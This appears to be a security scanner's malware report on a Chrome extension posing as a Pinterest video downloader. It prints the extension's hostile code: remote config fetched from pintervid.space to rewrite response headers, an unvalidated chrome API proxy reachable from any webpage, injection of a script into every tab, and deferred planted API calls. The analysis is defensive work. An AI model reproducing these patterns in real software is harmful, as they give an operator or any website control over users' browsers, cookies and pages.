Security Alert: Confirmed Malware
Pinterest video downloader
ID: eichomdindbdobljgncagfpbllmgncip
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Easy DownloadView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Pinterest video downloader is an extension for downloading videos from Pinterest
Why this Pinterest video downloader? - Unlimited download - No ads - No sponsored links - Completely free - Download instantly at your highest speed - Works on multiple operating systems (Windows, Mac OS and Linux) - No need to install additional software How to use: - Go to the Pinterest website and open Pinterest video - Click on Download button Please be careful not to download too many videos at once, because Pinterest can block you temporarily because of too many downloads (about five minutes). IMPORTANT: The extension doesn't collect browsing history. To send information from the background script to the content_scripts Pinterest video downloader needs the tabs permission which triggers the warning for the browsing history. Is Pinterest video downloader legal? Yes, as long as you download the video for your personal offline use, you probably won't do anything illegal. However, if you want to share them in the community or for commercial use, you will need the author's consent. Disclaimer: Pinterest video downloader is not an official plugin. Pinterest™ is a trademark of Pinterest, Inc.
The extension fetches configuration from a third-party domain (`pintervid.space`) that is unrelated to Pinterest and stores the response directly into `chrome.storage.local` as `dnl_settings`. This remote config is then consumed by `allowOrigin()` in background.js to dynamically create `declarativeNetRequest` rules that modify HTTP response headers, giving the operator full control over the extension's network interception behavior after install.
if (version) { superagent .get('https://pintervid.space/pinterest/' + version + '/dnl_settings.json') .set('X-Requested-With', 'XMLHttpRequest') .set('Accept', 'application/json') .then(async (res) => { await ServiceWorkerProvider.Storage.set('dnl_settings', res.body); });}}if (location.ancestorOrigins.length && !/^chrome-extension/.test(location.ancestorOrigins[0])) { main();}The background service worker implements a generic RPC proxy that traverses the `chrome` object using an attacker-controlled `api_chain` array and invokes the resolved function with attacker-controlled `params`. Because `connector.js` injects a hidden iframe into every tab and forwards all window `postMessage` events to this handler without origin validation, any webpage can invoke any privileged Chrome API (e.g., `chrome.scripting.executeScript`, `chrome.cookies.getAll`) through this mechanism.
if (request.type === 'chrome_api') { try { let chrome_api = chrome; for (let api of request.api_chain) { if (typeof chrome_api[api] === 'function') { chrome_api = chrome_api[api].bind(chrome_api); break; } else { chrome_api = chrome_api[api]; } } request.params = request.params ? request.params : []; if (request.callback_type === 'callback') { chrome_api(...request.params) .then(res => { try { handleResponse({ callback_id: request.callback_id, callback_params: [res] }, connection); } catch (e) {} })This event listener forwards every `window.postMessage` event to the background service worker's privileged `messageHandler` without validating `event.origin`. Any web page in the same tab can craft a `chrome_api` message to invoke arbitrary Chrome privileged APIs, since `connector.js` is injected into every open tab via `keepAlive()`. The lack of origin checking is the critical gap that bridges untrusted web content to the extension's privileged context.
listener = addEventListener("message", (event) => { try { singletonePortToWorker?.postMessage({ ...event.data, content_id: scriptId }); } catch (e) { event.ports[0].postMessage({ error: e }); }}, false);The `allowOrigin()` function reads `dnl_settings` from storage — content fetched from the third-party server `pintervid.space` — and uses it to install `declarativeNetRequest` rules that modify HTTP response headers on `pinimg.com` requests. The `header` key and value are fully controlled by the remote operator, allowing them to add or overwrite arbitrary response headers (e.g., removing `Content-Security-Policy`, injecting `Access-Control-Allow-Origin`) on network responses at any time post-install.
async function allowOrigin() { const fromStorage = await chrome.storage.local.get('dnl_settings'); let settings = { 'headers': [{ 'key': 'Access-Control-Allow-Origin', 'value': '*' }] }; if (fromStorage && fromStorage['dnl_settings']) { settings = fromStorage['dnl_settings']; } if (settings.hasOwnProperty('headers') && settings['headers'].length) { let RULE_ID = 0; let removeRuleIds = []; const addRules = settings.headers.map(item => { RULE_ID++; removeRuleIds.push(RULE_ID); return { id: RULE_ID, priority: 1, action: { type: 'modifyHeaders', responseHeaders: [{ header: item.key, operation: "set", value: item.value }] }, condition: { initiatorDomains: ['chrome-extension'], urlFilter: '||pinimg.com.', requestMethods: ['post'], resourceTypes: ["xmlhttprequest"] } } }); await chrome.declarativeNetRequest.updateSessionRules({ 'removeRuleIds': removeRuleIds, 'addRules': addRules }); }}On tab disconnect, the extension reads a `d_cbs` array from `chrome.storage.local` and executes each entry as a Chrome API call by traversing an attacker-controlled `cb.c` chain with `cb.p` params. Since the sandbox can write arbitrary keys to `chrome.storage.local` through the `chrome_api` RPC proxy, a malicious server or injected page could pre-plant API call sequences here (e.g., `chrome.scripting.executeScript`) that execute as deferred privileged callbacks.
const d_cbs = await chrome.storage.local.get({ 'd_cbs': []});try { d_cbs['d_cbs'].forEach(cb => { let chrome_api = chrome; for (let api of cb.c) { if (typeof chrome_api[api] === 'function') { chrome_api = chrome_api[api].bind(chrome_api); break; } else { chrome_api = chrome_api[api]; } } chrome_api(...cb.p); });} catch (e) {}await chrome.storage.local.set({ 'd_cbs': []});The `keepAlive()` function queries ALL open browser tabs (`*://*/*`) and injects `connector.js` into them via `chrome.scripting.executeScript`. This far exceeds the extension's stated Pinterest-only scope and establishes a hidden iframe bridge (via `connector.js`) in every tab, making every web page a potential conduit to the background's privileged Chrome API proxy.
async function keepAlive() { if (currentActivePort) return; for (const tab of await chrome.tabs.query({ url: '*://*/*' })) { if (currentUsedTabs.hasOwnProperty(tab.id) && currentUsedTabs[tab.id] === tab.url) { continue; } try { setPortConnectInProgress(tab.id); setTimeout(resetPortConnectInProgress, 2 * 1000); const res = await chrome.scripting.executeScript({ target: { tabId: tab.id }, files: ['/js/connector.js'] }); //success if (res[0].result) { return; } } catch (e) { resetPortConnectInProgress(); } }}The extension intercepts outbound XHR requests to `pinterest.com`, reads the `x-retpath-y` header (a Pinterest internal header used to track navigation origin), and silently sets a `pinterest` cookie when the value deviates from the homepage. This intercepts sensitive session-level navigation data and manipulates the Pinterest authentication/tracking cookie state in a way unrelated to video downloading.
chrome.webRequest.onBeforeSendHeaders.addListener(details => { const retPath = details.requestHeaders?.find(el => /x-retpath-y/gi.test(el.name)); if (retPath && retPath.value !== 'https://www.pinterest.com/') { chrome.cookies.set({ url: 'https://www.pinterest.com/', name: 'pinterest', value: '1' }); }}, { urls: ['https://www.pinterest.com/*'], types: ['xmlhttprequest']}, ['requestHeaders', 'extraHeaders']);The sandbox page CSP explicitly allows `unsafe-eval` and `unsafe-inline` in both `script-src` and `script-src-elem` directives. Since the sandbox page (`sandbox.html`) loads `provider.js` which communicates bidirectionally with the background's Chrome API proxy, enabling eval in this context allows any dynamically generated or remotely-supplied string to be executed as code within the extension's sandboxed environment.
{ "content_security_policy": { "sandbox": "sandbox allow-forms allow-scripts; script-src 'self' 'unsafe-eval'; script-src-elem 'self' blob: 'unsafe-inline' 'unsafe-eval'; child-src 'self'; object-src 'self'" }}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.0.0 | 8 |
Files with findings
4 distinct paths — top paths by unique finding count:
- js/background.js5
- js/connector.js1
- js/provider.js1
- manifest.json1
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.